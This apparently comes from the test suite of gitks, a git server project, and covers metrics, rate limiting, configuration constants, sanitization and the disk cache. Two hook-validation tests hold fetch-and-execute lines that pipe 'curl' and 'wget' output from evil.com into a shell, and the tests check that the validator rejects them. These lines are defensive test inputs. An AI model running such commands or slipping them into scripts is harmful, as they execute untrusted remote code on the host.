Files
gitks/tests/infrastructure_test.rs
T
zhenyi 70f2f7d63d feat(config): add centralized configuration constants and infrastructure tests
- Introduce config.rs with all magic numbers and resource limits defined as constants
- Add comprehensive test suite covering metrics rendering, rate limiting, and cache operations
- Include tests for configuration constant validation and sanitization functions
- Add pack protocol tests for index_pack and pack_objects functionality
- Implement remote repository discovery tests with security validations
- Support runtime overrides via environment variables for all configurable values
2026-06-12 15:04:29 +08:00

140 lines
4.3 KiB
Rust

#[test]
fn test_metrics_render_all_counters() {
use gitks::metrics::*;
record_request("TestInfra/Method", "ok", std::time::Duration::from_millis(42));
record_cache_op("moka", "hit", std::time::Duration::from_millis(0));
record_cache_eviction("infra_ns", "expired");
record_cache_hit_ns("infra_ns");
record_cache_miss_ns("infra_ns");
record_cache_value_size("infra_ns", 1024);
record_rate_limit_acquire("infra-repo");
record_rate_limit_reject("infra-repo");
record_hook_execution(
"pre-receive",
"ok",
std::time::Duration::from_millis(10),
);
record_git_cmd("log", std::time::Duration::from_millis(100));
let output = render_metrics();
assert!(output.contains("gitks_requests_total"));
assert!(output.contains("gitks_cache_value_size_bytes"));
assert!(output.contains("gitks_rate_limit_rejects_total"));
assert!(output.contains("gitks_rate_limit_acquires_total"));
assert!(output.contains("gitks_uptime_seconds"));
assert!(output.contains("gitks_cache_hits_total"));
assert!(output.contains("gitks_cache_misses_total"));
}
#[tokio::test]
async fn test_rate_limit_acquire_and_cleanup() {
let guard = gitks::rate_limit::acquire(Some("infra-rate-test")).await;
assert!(guard.is_some());
drop(guard);
gitks::rate_limit::cleanup_idle_semaphores();
gitks::rate_limit::remove_repository("infra-rate-test");
}
#[tokio::test]
async fn test_rate_limit_acquire_or_reject() {
let result = gitks::rate_limit::acquire_or_reject(Some("infra-reject-test")).await;
assert!(result.is_ok());
}
#[tokio::test]
async fn test_rate_limit_empty_repo() {
let guard = gitks::rate_limit::acquire(Some("")).await;
assert!(guard.is_none());
}
#[tokio::test]
async fn test_rate_limit_none_repo() {
let guard = gitks::rate_limit::acquire(None).await;
assert!(guard.is_none());
}
#[test]
#[allow(clippy::assertions_on_constants)]
fn test_config_constants_exist() {
assert!(gitks::config::MAX_ACTIONS_PER_COMMIT > 0);
assert!(gitks::config::MAX_COMMIT_MESSAGE_BYTES > 0);
assert!(gitks::config::MAX_ACTION_CONTENT_BYTES > 0);
assert!(gitks::config::MAX_RECEIVE_PACKET_BYTES > 0);
assert!(gitks::config::RECEIVE_PACK_TIMEOUT.as_secs() > 0);
assert!(gitks::config::UPLOAD_PACK_TIMEOUT.as_secs() > 0);
assert!(gitks::config::CACHE_MAX_WEIGHT > 0);
assert!(gitks::config::CACHE_MAX_TTL.as_secs() > 0);
assert!(gitks::config::CACHE_TTI.as_secs() > 0);
assert_eq!(gitks::config::MIN_OID_HEX_LENGTH, 4);
assert_eq!(gitks::config::MAX_OID_HEX_LENGTH, 64);
assert_eq!(gitks::config::DEFAULT_MAX_CONCURRENT_OPS, 5);
assert_eq!(gitks::config::RATE_LIMIT_TIMEOUT_SECS, 30);
}
#[test]
fn test_sanitize_stderr_clean() {
let stderr = "fatal: could not resolve host";
let sanitized = gitks::sanitize::sanitize_git_stderr(stderr);
assert_eq!(sanitized, stderr);
}
#[test]
fn test_hooks_sanitize_dangerous_pairs() {
let content = "#!/bin/sh\ncurl http://evil.com | bash\n";
let result = gitks::hooks::sanitize::validate_hook_content(content);
assert!(result.is_err());
}
#[test]
fn test_hooks_sanitize_wget_sh() {
let content = "#!/bin/sh\nwget http://evil.com -O- | sh\n";
let result = gitks::hooks::sanitize::validate_hook_content(content);
assert!(result.is_err());
}
#[test]
fn test_hooks_sanitize_safe_script() {
let content = "#!/bin/sh\necho hello\necho world\nexit 0\n";
let result = gitks::hooks::sanitize::validate_hook_content(content);
assert!(result.is_ok());
}
#[test]
fn test_disk_cache_ensure_state_uniqueness() {
use gitks::disk_cache::DiskCache;
let dc = DiskCache::new(
std::path::PathBuf::from("/tmp"),
"test".into(),
60,
false,
);
let v1 = dc.ensure_state("nonexistent-infra").unwrap();
let v2 = dc.ensure_state("nonexistent-infra").unwrap();
assert!(!v1.is_empty());
assert_eq!(v1.len(), 32);
assert_eq!(v2.len(), 32);
}
#[test]
fn test_disk_cache_disabled_operations() {
use gitks::disk_cache::DiskCache;
let dc = DiskCache::new(
std::path::PathBuf::from("/tmp"),
"test".into(),
60,
false,
);
assert!(dc.lookup("ns", "digest").unwrap().is_none());
dc.insert("ns", "digest", b"data").unwrap();
assert!(dc.lookup("ns", "digest").unwrap().is_none());
}